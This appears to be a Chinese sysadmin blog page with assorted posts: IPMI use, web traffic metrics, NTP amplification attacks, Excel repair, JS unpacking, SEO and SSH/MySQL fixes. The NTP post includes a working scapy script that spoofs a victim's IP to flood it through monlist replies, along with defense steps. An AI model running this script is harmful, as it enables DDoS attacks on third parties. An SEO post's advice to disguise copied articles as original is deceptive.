运维部落

香港vps促销1G99元 点击购买 美国vps促销512M59元 点击购买 日本vps促销1G100元 点击购买

IPMI – KVM 控制远程重装服务器系统基本使用方法

2016年3月22日 没有评论


服务器使用IPMI安装系统教程,IPMI可以干什么?简单的说,IPMI可以远程给服务器重装系统,控制服务器电源的开机,关键和重启。当我们使用网络方式远程登录(远程桌面或者SSH)失败时,可以通过IPMI进行服务器的维护。专业点的理解就是 IPMI可以通过带外的方式来管理我们的服务器。

智能平台管理接口 (IPMI) 是一种开放标准的硬件管理接口规格,定义了嵌入式管理子系统进行通信的特定方法。IPMI 信息通过基板管理控制器 (BMC)(位于 IPMI 规格的硬件组件上)进行交流。使用低级硬件智能管理而不使用操作系统进行管理,具有两个主要优点: 首先,此配置允许进行带外服务器管理;其次,操作系统不必负担传输系统状态数据的任务。
下面我们使用常见的超微服务器介绍一下IPMI的使用方法:
一.我们在浏览器中输入IPMI的IP地址,然后会来到如下界面

二.我们输入相应的用户名和密码,点击login,会进入IPMI的内部了。IPMI的菜单比较多,如图所示

其实这些菜单根据名字都很好理解,我们下面就根据实际需要一个一个的介绍一下。
三.第一个菜单system是有关系统信息的,点开会看到:

四.这里,点击system information会弹出一下页面:

五.通过这个画面我们就可以看到主机内部的情况了。但是如果您不能看到这个界面,而是如下所示:

说明您的系统中没有装JAVA虚拟机,我们需要装上JAVA程序才能很好的使用IPMI。点击上图的确定,然后我们就来到java官方网站:

我们点击同意下载,然后浏览器会弹出下载对话框来:

点击保存文件,然后把jxpiinstall.exe下载下来之后,双击运行,就开始安装java虚拟机了。

 

六.安装完java虚拟机后,重启浏览器,就可以发现IPMI可以正常工作了。
下面,我们回到IPMI的这个菜单中.

七.我们点击方块中的按钮,可以看到如下画面

八.上面一个可以看到主机的信息,点击IPMI中的主机桌面的图片就可以进入控制台,如下图。power control via ipmi 是通过控制主机的电源来实现主机的开机,关机和重启。

九.这就是主机的控制台。同样,控制台也有几个菜单。一般情况下,我们通过文字就能较好的理解。下面我们介绍几个常用的菜单。

通过如上菜单的指示,我们可以直接向主机发送一些常用的组合键,最常用的莫过于 ctrl+alt+del了。


十.下图中这个菜单可以给主机添加ISO镜像。

点击virtual storage 后,在弹出的对话框中可以通过如下步骤添加ISO镜像:

注意,最后一定要点击plug in 才能把光盘插入系统哦。如果想把光盘弹出,可直接点击 plug out。
我们可以看到主机中已经有插入的光盘了:

挂载完成之后,我们登陆IPMI,点击导航菜单的Remote Control ,选择Console Redirection,打开launch console,下载jnlp文件运行,然后选择Macro→Ctrl+Alt+Del,重启服务器,启动时按F11,进入启动菜单,如下图:选择IPMI Virtual CDROM启动。

有时候国际网络太卡,使用键盘操作非常困难,我们看看怎样使用软键盘进行操作。

十一.下面让我们回到浏览器中,再来看一下IPMI其他几个有用的菜单:
远程控制菜单

通过点击远程控制的console redirection选项同样可以打开主机的控制台,通过 power cotrol选项同样可以控制主机的开机,关机和重启。
我们看一下怎样重置IPMI的选项。有时候,我们的IPMI也会紊乱,出现一些不正常的选项,需要进行重置。

通过点击 Unit Reset 在这个子页面中点击确定就可以重置IPMI系统,相当于重启一下IPMI这个设备。

通过点击IKVM Reset这个选项,在子页面中点击确定,就可以重置控制台kvm的会话,有时候会话多了或者时间长了,使用这个会很快解决问题的。

 

 

分类: 解决方案 标签: , ,

IP,PV ,UV 它们认识你,你认识它们吗

2016年3月3日 没有评论

今天说说IP,PV,UV这三个互联网产品常用词,具体定义大家可以知之为知之,不知度娘知,我就不粘贴复制了,显得我很没有诚意。

估计现在已经没有同行会问你,你们产品的IP了,因为IP是可以改变的,而且它并不能反映一些具体问题,当然它还是有用的,它可以让你大体了解你产品使用用户的分布,是一线城市多,还是二三线城市多,这样做的目的是可以指导你产品设计的时尚程度和接受程度,进行合理的调整,下面主要说说PV和UV。

1、什么是PV值
  PV(page view)即页面浏览量或点击量,是衡量一个网站或网页用户访问量。具体的说,PV值就是所有访问者在24小时(0点到24点)内看了某个网站多少个页面或某个网页多少次。PV是指页面刷新的次数,每一次页面刷新,就算做一次PV流量。
  度量方法就是从浏览器发出一个对网络服务器的请求(Request),网络服务器接到这个请求后,会将该请求对应的一个网页(Page)发送给浏览器,从而产生了一个PV。那么在这里只要是这个请求发送给了浏览器,无论这个页面是否完全打开(下载完成),那么都是应当计为1个PV。
  2、什么是UV值
  UV(unique visitor)即独立访客数,指访问某个站点或点击某个网页的不同IP地址的人数。在同一天内,UV只记录第一次进入网站的具有独立IP的访问者,在同一天内再次访问该网站则不计数。UV提供了一定时间内不同观众数量的统计指标,而没有反应出网站的全面活动。通过IP和cookie是判断UV值的两种方式:
  用Cookie分析UV值
  当客户端第一次访问某个网站服务器的时候,网站服务器会给这个客户端的电脑发出一个Cookie,通常放在这个客户端电脑的C盘当中。在这个Cookie中会分配一个独一无二的编号,这其中会记录一些访问服务器的信息,如访问时间,访问了哪些页面等等。当你下次再访问这个服务器的时候,服务器就可以直接从你的电脑中找到上一次放进去的Cookie文件,并且对其进行一些更新,但那个独一无二的编号是不会变的。

把抽象的PV和UV比作一个传统的场景,假设一下,淘宝是一个大的购物中心,第一种情况,一个喜欢你的女生陪你去买耳机,你们买完就走,对于UV,独立访问者而言就是2个,而PV呢就是指你俩只看了一个店铺,那么你们产生的浏览量就是2个。

第二种情况,你陪女神去买东西,你们2个人逛了7家店,那么UV还是2,而PV呢,则就是14。

第三种情况,你运气好追到女神了,你俩结婚了,时间长了,你再陪她逛街你就懒了,于是你俩同时进了购物中心,她自己去逛街,而你坐在购物广场的咖啡厅里等她,她逛了14家店,这个时候,而UV还是2,浏览量PV则是两者相加是15。

每一次加载页面就算一次PV,UV是要算你的cookies的,那么问题来了,还是陪你老婆逛街,你坐在咖啡店里,她逛了14家店,中午你俩出购物广场找朋友吃饭,吃完之后,你老婆还想逛街,你们俩从另外一个门进入购物广场,你坐在咖啡店,你老婆逛了14家店,那PV和UV均为多少?答案我会在下一次分享中告诉大家,当然你们也可以在平台给我留言,答对的朋友,也没有什么礼物,哇咔咔。

IP,UV,PV还是有一些区别的,比如IP是指网络虚拟地区的概念,UV更多的是反映独立使用者,UV相对于IP来说可以更加准确的描绘一个事件的浏览者。比如说,一个访客使用IE来访问,之后他又用翻墙软件还是通过IE来浏览,那么IP则是2,因为IP是基于地理位置的,而UV呢,则是1,至于为什么,自己往前翻,谢谢哒。

大家要一直有一个数据分析的思维在,比如:

PV/UV的合理值,一般是在5倍到10倍比较合理,当然不同性质的产品是不一样的,比如像纯论坛或者是图片网站,那么他的PV就会相对高一些,如果是电影网站PV就相对低一些。

根据这个数据可以来判断自己的产品。如果一个产品的PV/UV太高了,很有可能就是故意刷之,或者是用户加载页面次数太多,而如果太低的话,也不好,这说明你的页面可跳转页面太少,或者用户可能因为按钮啊什么原因,跳转的可能性太低。

下面我们来看看大/中/小网站的UV和PV:

Google是世界第一:UV:295,920,000;PV:7,107,998,400
百度是中国第一:UV=80,100,000,PV=703,278,000,基本上淘宝啊,新浪微博啊都是这个梯队的,前20左右。
第二梯队,20—100,比如汽车之家,它的UV就是在528,000万左右,PV大概在9240,000
第三梯队:100—1000,比如果壳网,UV大概是138,000,PV大概是828,000
在接手一个新的产品之前,你可以先建立一个坐标轴,UV,PV来分析这个产品大概的地位,做一些相关的调整,这是非常简单也是非常基础的东西。

3、IP即独立IP数
  IP可以理解为独立IP的访问用户,指1天内使用不同IP地址的用户访问网站的数量,同一IP无论访问了几个页面,独立IP数均为1。但是假如说两台机器访问而使用的是同一个IP,那么只能算是一个IP的访问。
  IP和UV之间的数据不会有太大的差异,通常UV量和比IP量高出一点,每个UV相对于每个IP更准确地对应一个实际的浏览者。
  ①UV大于IP
  这种情况就是在网吧、学校、公司等,公用相同IP的场所中不同的用户,或者多种不同浏览器访问您网站,那么UV数会大于IP数。
  ②UV小于IP
  在家庭中大多数电脑使用ADSL拨号上网,所以同一个用户在家里不同时间访问您网站时,IP可能会不同,因为它会根据时间变动IP,即动态的IP地址,但是实际访客数唯一,便会出现UV数小于IP数。

浅析基于 NTP 的反射和放大攻击

2016年3月3日 没有评论

最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热。
1.什么是 NTP
NTP 是网络时间协议(Network Time Protocol)的简称,干嘛用的呢?就是通过网络协议使计算机之前的时间同步化。

2.NTP 反射和放大攻击
那什么是 NTP 反射和放大攻击呢?如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了,协议不同,效果一样。

我们先来说说放射和放大攻击:

无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。

放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。

那我们接着来看什么是 NTP 的反射和放大攻击,NTP 包含一个 monlist 功能,也被成为 MON_GETLIST,主要用于监控 NTP 服务器,NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。

我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。

vps12com@test ~$ ntpdc -n -c monlist x.x.x.x | wc -l

602


在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据,除去头两行是无效数据外,正好是 600 个客户端 IP 列表,并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包,除去一个请求包,正好是 100 个响应包。

从上图中我们可以看到请求包的大小为 234 字节,每个响应包为 482 字节,如果单纯按照这个数据我们可以计算出放大的倍数是:482*100/234 = 206 倍。其实如果通过编写攻击脚本,请求包会更小,这个倍数值会更大,这样算起来是不是蛮屌的。

我们通过 scapy 实现一个简单的攻击脚本,代码如下:

?View Code PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# author: vps12.com
 
import sys
from scapy.all import *
 
def attack(target, ntp_server):
    send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))
 
if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(1)
 
    target = sys.argv[1]
    ntp_server_file = sys.argv[2]
    for ntp_server in open(ntp_server_file, "r"):
        ntp_server = ntp_server.strip()
        if ntp_server != "":
            attack(target, ntp_server)

如何防御
我们可以分为两种情况进行防御
一、加固 NTP 服务
1. 把 NTP 服务器升级到 4.2.7p26及以上。
2. 关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`选项
3. 在网络出口封禁 UDP 123 端口
二、防御 NTP 反射和放大攻击
1. 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御
2. 使用防 DDoS 设备进行清洗

可以显示进度的cp命令(shell代码)

2016年2月27日 没有评论

首先将如下脚本放置在/usr/bin下,
要使用cp指令時,以大写CP指令,代替小写cp. (当然你可以自己修改脚本定制适合自己的命令)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
 
PARAM_LIST=$*
PARAM_NUM=$#
TOTAL_SIZE=0
for((i = 0; i < PARAM_NUM - 1; i++))
do
        [ ! -r $1 ] && echo "Cannot read $1." && exit 1
        SIZE=`du -s $1 | awk '{print $1}'`
        ((TOTAL_SIZE = TOTAL_SIZE + SIZE))
        shift
done
TARGET=$1
START_TIME=`date +%s.%N`
cp -a $PARAM_LIST &
echo -ne "Total size: $TOTAL_SIZE KB - %"
while true
do
        LEN_PERCENT=${#PERCENT}
        for((i = 0; i <= LEN_PERCENT; i++))
        do
                echo -ne "\b"
        done
        COPIED=`du -s $TARGET | awk '{print $1}'`
        ((PERCENT = COPIED * 100 / TOTAL_SIZE))
        echo -ne "$PERCENT%"
        ((PERCENT == 100)) && END_TIME=`date +%s.%N` && break
done
MB_SECOND=`echo $TOTAL_SIZE/1024/\($END_TIME-$START_TIME\)|bc`
echo " - SPEED: $MB_SECOND MB/s"

Excel发现不可读取内容最简单解决方法

2016年2月23日 没有评论

今天同事有一次出现了这种情况:Excel在”XXX.xls”中发现不可读取的内容,是否恢复此工作簿的内容?如果信任此工作簿的来源,请单击”是 “,这种情况呢,单击“是”能打开,但是数据没有了!你说悲摧不!最简单的解决方法是什么呢?

本文只是为了给大家一个更简单的解决方法,不能保证百分之百有用,但是能保证比其他方法简单!遇到此类问题,可以先用此方法试一下(记得要备份哦)。那就请出国产神器——WPS!金山wps已经今非昔比,虽然跟office软件仍然有一定的兼容性问题(要是完全兼容了,微软还不告金山侵权啊!),但是遇到这种情况,wps可就能大显神通啦!

Excel发现不可读取内容最简单解决方法:

第一步:打开wps 表格(如果没装,就安装个,反正是免费的)。

第二步:用wps表格打开有问题的excel文件,没有提示错误,打开正常(不知道跟人品有没有关系,反正这次我试确实是这样!)。

第三步:点击另存为,选择Excel 2007/2010 *.xlsx,保存。

第四步:再用office软件打开试试!完美解决!(说是完美,其实不能保证百分之百恢复没有任何问题)。

其他方法(转载,你看有多复杂):

1、先把出错文件的文件扩展名(.xlsx)改成压缩文件(.zip)。

2、 双击zip文件(不是解压缩,只是双击文件来打开。)找到xl文件夹下的sharedStrings.xml文件并双击打开文件(一般用IE浏览器打开)。在IE浏览器上会显示错误。 目前遇到过的错误有两种,一种是“结束标记’si’与开始标记’t'不匹配”,一种是“结束标记’sst’与开始标记’si’不匹配”,不论是那种情况,都说明一个问题,也就是源代码中的开闭标签(所谓开闭标签,简单的说就是有一个,就一定在后面有一个)配对配错了,可能是顺序错误,也可能是直接少了一个。

3、在IE页面上右击查看源代码,一般是直接默认记事本txt打开,在记事本中检查修改源代码是非常恶心的事情,因为所有代码都挤在一堆,很难找究竟错在哪里。 如果自己有如Emeditor之类的软件还好,可以直接看到原始代码的行数,那就可以根据报错时候的提示来找错,没有这类软件的,有一个相对好一点点的方法,就是把txt中的内容复制到word文档中,然后利用word里的“查找/替换”功能来检查。

例如我所遇到的“结束标记’sst’与开始标记’si’不匹配”情况,在word中使用“查找/替换”,将所有替换成^P^P(也就是换行换行),发现总共替换2512处,然后将所有替换成^P^P(也就是换行换行),总共替换2508处,那么很明显,少了4个,那只要找出是哪4个地方缺少了,添加上去就可以了。而上述步骤之所以用前后换行来替换原来内容,也是方便将成对的隔离出来,方便查阅。

4、在word中找出错误的地方后,要在记事本里相应的地方修改,然后将记事本保存为新的sharedStrings.xml,如无法直接保存在zip包里面,可以保存在外面再剪贴覆盖到zip里面。

5、重新打开sharedStrings.xml后,发现IE显示上已经没有报错了。

6、再将zip改回xlsx

7、打开修改好的xlsx文件,如果数据一切正常,那就万事大吉,没问题了。

但是,我rp的遇到过经过上述修改后打开xlsx继续报错“发现不可读取的内容”的情况,且也没提示哪里有错。这种时候不要气馁,在电脑上装一个wps吧,用wps的表格程序打开刚刚修改好的那个xlsx,会惊喜的发现,数据都在哪儿呢,赶紧另存吧,另存后的xls文件再用excel 07打开就完全没问题啦。

备注:在最初的时候就直接用wps表格打开受损的xlsx文件也可以,但是有时候可能会发现其中有些数据丢失,所以最好首先进行源代码修复。

不少人可能会纳闷,出现这种问题的原因究竟何在?

可能在编辑时从别的文档拷贝数据,造成外部文档链接,尽管绝大多数情况下不会出问题,但在运气非常背的时候可能就会出现这种错误!

原因1、超链接形成的外部文档链接

解决方案:删除超链接

原因2、从其他文档复制数据、引用其他文档数据,形成公式中的外部数据引用。

解决方案: 删除外部数据引用

原因3、图形、按钮等指定的宏指向了外部文档中的宏

解决方案:在一个隐藏单元格内有个非常不起眼的图形,其指定了一个外部文档中的宏,删除后一切OK.(可以用本人EXCEL必备工具箱一次性删除当前文档中的所有图形对象)。

好啦,祝大家好运!

分类: 解决方案 标签:

1秒破解 js packer 加密

2016年2月11日 没有评论

看了篇对js加密解密的方法,转了别人的文章,希望对浏览器大家编程的实现原理有一定的帮助。

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c]);return p;}(‘(1(){1 4(0){6(0){2 0};2 5};7 3=4();8(3)})();’,9,9,’a|function|return|ret|test|123|if|var|alert’.split(‘|’),0,{}))
类似这样一段代码,高手见了笑而不语,熟悉js的朋友嗤之以鼻,js新人却茫然了,去各种群里问怎么解密。
我教你 1 秒解密 packer加密过的js (应该叫压缩更合适)。

打开谷歌或者火狐浏览器,然后按 F12,接着把这代码复制进去,
最后,去掉开头 4 个字母 eval 然后回车运行下就得到源码了。

chrome

firefox

格式化得到的源码后即可得到:(在线代码格式化 http://jsbeautifier.org/)

(function (){
function test(a) {
if (a) {
return a;
}
return 123;
}

var ret = test();
alert(ret);
})();
是不是 so easy ?

当然不是所有乱七八糟的代码都是这样解密的,用这个方法解密有一个特征。
eval 包裹着函数或者其他语句的密文都可以这样做,最常见的就是 packer压缩 了。

packer压缩 的特征是 eval(function(p,a,c,k,e,d) 或者 eval(function(p,a,c,k,e,r) 开头是这些的,用此方法1秒还原。

packer 谷歌翻译:打包机
packed 谷歌翻译:打包 (应该是 “已打包” 的意思)

很明显都不是什么加密,只是早前的一些打包算法而已,现在不推荐使用,效率不高不说,还没有任何安全性。
JS混淆加密压缩 http://tool.chinaz.com/js.aspx
这是站在工具提供的打包,混淆工具。感兴趣的朋友自己去测试下吧。

可能有朋友会说,明明比源码多,怎么能说这是压缩呢?
其实分析下他的算法就会发现,其实他是提取相同字符进行压缩的,所以相同单词越多,压缩率越大,来看个例子:

(function () {
var aaaaaaaaa=1;
aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;aaaaaaaaa;
return aaaaaaaaa;
})();
压缩后:

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c]);return p;}(‘(3(){2 0=1;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;0;4 0})();’,5,5,’aaaaaaaaa||var|function|return’.split(‘|’),0,{}))
很明显变量aaaaaaaaa被替换成了0,这样就起到了压缩功能,所以用他压缩的前提是重复单词非常多的情况。

比较好的习惯是用 Google Closure,Uglifyjs,YUI Compressor 等工具进行打包压缩(我觉得应该叫编译更为恰当)。
这些工具打包压缩后的代码,优化了语句,把局部变量重命名为 a,b,c 这样的变量,所以大幅度的减小了代码容量。

比如:

(function (){
function test(text) {
if (text) {
return text;
}
return ‘hehe’;
}

var ret = test();
alert(ret);
})();
用 UglifyJS 编译后:

!function(){function a(a){return a?a:”hehe”}var b=a();alert(b)}();
不仅变量变成了 a,b 而且 if 语句也发生了变化,所以叫做编译更贴切。

再来试试刚才那段全是 aaaaa 的代码,用 UglifyJS 编译后就变成一行了:

!function(){var a=1;return a}();
是不是很神奇啊,大量的优化了垃圾代码。

著名的 jQuery 就是用 UglifyJS 编译的,也许你会说不是 grunt 构建的么,是的,但是编译器用的就是 UglifyJS。

分类: 编程实践 标签: , ,

网站域名被墙(被封锁、被屏蔽、被和谐)后最好的解决方法

2016年2月6日 没有评论

最近有一些朋友说自己的网站因为没有备案,或是使用海外的一些免费主机或又有一些信息的原因给墙了。无法在国内正常打开。按以下办法可以试试看。

一、域名被墙:如果域名ping的通却打不开网站(排除服务器宕机),用代理或者使用VPN可以打开一般说明域名被封了。
假如域名下的网站非法信息多,敏感,又不整改,会直接被G.F.W墙掉,就是通常所说的被封锁、被屏蔽、被和谐,结果就是访问域名是打不开的,但是解析是正常的。此时域名在国内是无法使用的,国外可以访问和使用。
解决方案:
1、将域名解析到国内的某个大站(如baidu等),过几天后有可能会被解封,看你的人品了;
2、换回国内的空间;
3、换域名(将被墙域名解析到国内空间,然后做301重定向到新域名,以减少流量和权重的丢失)。

二、域名被间歇性屏蔽:如果间歇性的可以打开,打不开的时候用国外代理可以打开,说明域名被间歇性的屏蔽(当然这个情况也可能是国内DNS解析不稳定造成的)。
假如域名下的网站出现非法信息,会暂时打不开,过会又可以打开,一般就判断为间歇性屏蔽,处理方法就是删除敏感信息词条关键字即可。

三、IP被封:如果ping不通,使用国外代理可以打开一般可以确定是ip被封。
注意:一般来说,如果你的域名解析的地址是国外的就会被墙,如果绑定国内的IP一般是不会被墙的。
1.发现有域名被墙的话,最好立即解析走这个域名,不要保留在你的服务器上。
2.域名被墙多数是因为网站上存在过多非法关键词,导致中国国际出口上的“长城防火墙”拦截了这个域名的信息。因此就算你换多次域名,也都有被墙的危险,根治的办法就是在你的服务器上安装关键词拦截系统,把敏感的词汇都给拦截了,这样就能有效保护你的站点不会再次被墙。不安装关键词拦截系统的话,要整改网站内容,检查相关关键字会不会有违反规定的,自己检查不到的,最好的办法是重做网站,以保证之后的域名不被墙掉。
3.如何判断一个域名是否被墙:在国内无法访问,在国外可以访问。测试的可以用在线网页代理访问就知道。
4.被墙域名的连带影响:每个访客访问一次被墙域名之后,在5-20分钟内再去访问同一个IP上的其他站点均无法再次访问。被墙的域名一直解析到某个IP的话,最终会导致整个IP被墙。

分类: 搜索&seo, 解决方案 标签: ,

内页seo文章不收录解决妙招

2016年2月3日 没有评论

有朋友问:百度只更新我的首页 ,站内文章都不收录, 为什么啊 ? 每天都有站内文章更新的。这个问题要解决?
我收集了些网络上大腕写的一些文章转给大家一起研究一下。

可能收录了没有放出来,可以去查看下IIS日志BD返回代码。

  陈中平的回复:

  具体的原因可能性太多,这里把常见的原因列出来.如下:

  (1) 网站优化

  原因: 优化过度,比如堆积关键字,隐藏文字等等.如果出现这样的情况,bd就算已经收录了你,别庆幸自己蒙混过关,因为在更新的时候也会慢慢剔除的。二级域名和博客交叉连接。

  解决方法:新网站上线,不要先进行过多的 SEO!标题中要害字重复不要超过两次;描述中要害字重复不要超过三次;更不要堆积;首页的要害字尽量作到自然排列,不要刻意的堆在那几个重要地方;首页的要害字密度尽量控制在3%-4%左右。标题里留三四个关键字足够了,太多了bd不喜欢。建议设置为页面主题+专题名+网站名。至于关键词,你加上了没关系,但是至少页面应该出现点相关内容吧。描述的设置很简单,只要语言通顺,对页面做个大概的总结,出现两三次关键字就足够了。

  (2) 网站内容

  原因: 内容几乎全部采集来的,而且是采集的很热门的文章。bd突然会收录你几千页,但是bd收录后,在一定时间内,会重新检索,如果你内容没有价值的话,就将被丢弃。

  解决方法: 采集完以后,手工增加一次数量的”原创性文章”,为什么加引号呢。因为原创不好写。教大家一个简单的小办法用来骗蜘蛛,去找到相关类型的文章。。。。把标题改掉。把里面的段落格式打乱。假如你有爱好,可以自己在里面写一段。就这样。一个”原创文章”就产生了。然后,让你”原创”的文章多在首页上出现几条。

  (3)网站主题

  原因: 网站主题是引擎屏蔽要害字或与法律想抵触。作la/ji站的应该有不少碰到。

  解决方法: 现在是”河蟹”社会。很多词最好不要去动,敏感的话题也最好别去参合不参加敏感话题讨论.

  (4).网站域名

  原因: 以前被引擎K过或者被惩罚过。我们可以查看这个域名以前是否被人用过。

  解决方法: 申请米之前直接在引擎里打上你要注册的域名。如 假如各大引擎都没有返回数据,那应该就是没用过的。

  (5)网站架构

  原因: 网站架构不清晰,出现死链让搜索引擎在网站上迷失方向。

  解决方法:建议做好网站地图。

  (6) 网站改版

  原因: 网站没有修改好,就已经提交到bd,动不动来个大变化,大更新。分类和标题换来换去。还有时候出现测试,或者其他和网站无关的内容。这些都是seo的大忌。

  解决方法: 定位好,要做什么站就坚持下去。可以增加新的分类和内容。老的内容最好不要胡乱删除。如果你更换空间,最好提前换。保证在一段时间内以前的空间内容继续存在,以防万一。

  (7) 网站链接

  原因: 网站缺少外部链接,或者外部连接逐渐减少,bd对你站的重视当然也会降低,慢慢的减少收录内容.链接的质量是很重要的。la/ji连接宁可不要!还要去掉死链。另外,检查你的页面,如果有链接指向被封的站,你的站也会受到一定的牵连。

  解决方法: 检查网站外部连接,少的话就去交换,或者去一些大站大论坛发点能引起别人兴趣的帖子,留下连接。回复的人越多,效果越好。如果站内有连接指向被封的站,尽快删除。避免和一些la/ji站做友情链接,因为他们会影响你的网站受到fu/mian的影响

  (8) 网站空间

  原因: 你用的虚拟主机IP被屏蔽,或者你站受牵连服务器IP被屏蔽.bd更新期间你的网站无法访问,这样就算搜索引擎想搜索你的页面也没办法收录的。

  解决方法: 买空间时候注意,找点信誉好的IDC。别光为了便宜,如果经常出问题,别说bd了,网民也承受不了。毕竟你的站不会引起bd重视。另外,买空间时候时候检查一下虚拟主机IP上的站点,和收录情况,以及被封闭站点的数量。

  (9) 网站安全

  原因: 自己的站点上加了恶意代码或者故意挂马的话,bd能分析的出来。会降低你的信任度。还有就是被那些小hei/k用工具入侵,修改或者删除了大部分页面。

  解决方法: 定期备份,出现问题及时解决。一般bd更新都是夜里勤快。对个人站每天更新的不多。如果一旦不正常,立刻处理,应该可以避免的。

分类: 搜索&seo 标签: ,

scp reverse mapping checking getaddrinfo for bogon failed – POSSIBLE BREAK-IN ATTEMPT! 错误

2016年1月13日 没有评论

今天做ssh key scp做备份时,登录 报了一个 reverse mapping checking getaddrinfo for bogon failed – POSSIBLE BREAK-IN ATTEMPT! 错误,但不影响登录。可是看着不顺眼,查查资料解决它,
原因:ssh 登录的时候会做一系列安全检查,其中有一项是 主机名与ip地址是否能解析,如果解析不了就会报这个错误。
如果你有dns服务器 ,在服务器上做解析也行。总之,ping主机名必须解析到对应的ip地址,

解决方法一:在/etc/hosts 文件加上对方的主机名 ip地址,可以ping通主机名即可。
解决方法二:/etc/ssh/ssh_config /etc/ssh/sshd_config 修改这两个配置文件
GSSAPIAuthentication yes 改成 GSSAPIAuthentication no

分类: 解决方案 标签: , ,

MySQL删除数据库时的错误error dropping database

2016年1月8日 没有评论

由于在1月2号更新了下数据库,却出现了数据库已存在的提示信息。于是就进入命令行窗口drop database hkvps,可是却得到了ERROR 1010 (HY000): Error dropping database (can’t rmdir ‘./hkvps’, errno: 39)的错误信息。

解决方法:删除/var/lib/mysql/hkvps下面的所有文件,不要删除hkvps本身。然后再通过命令行drop database就可以了。

分类: 解决方案 标签: ,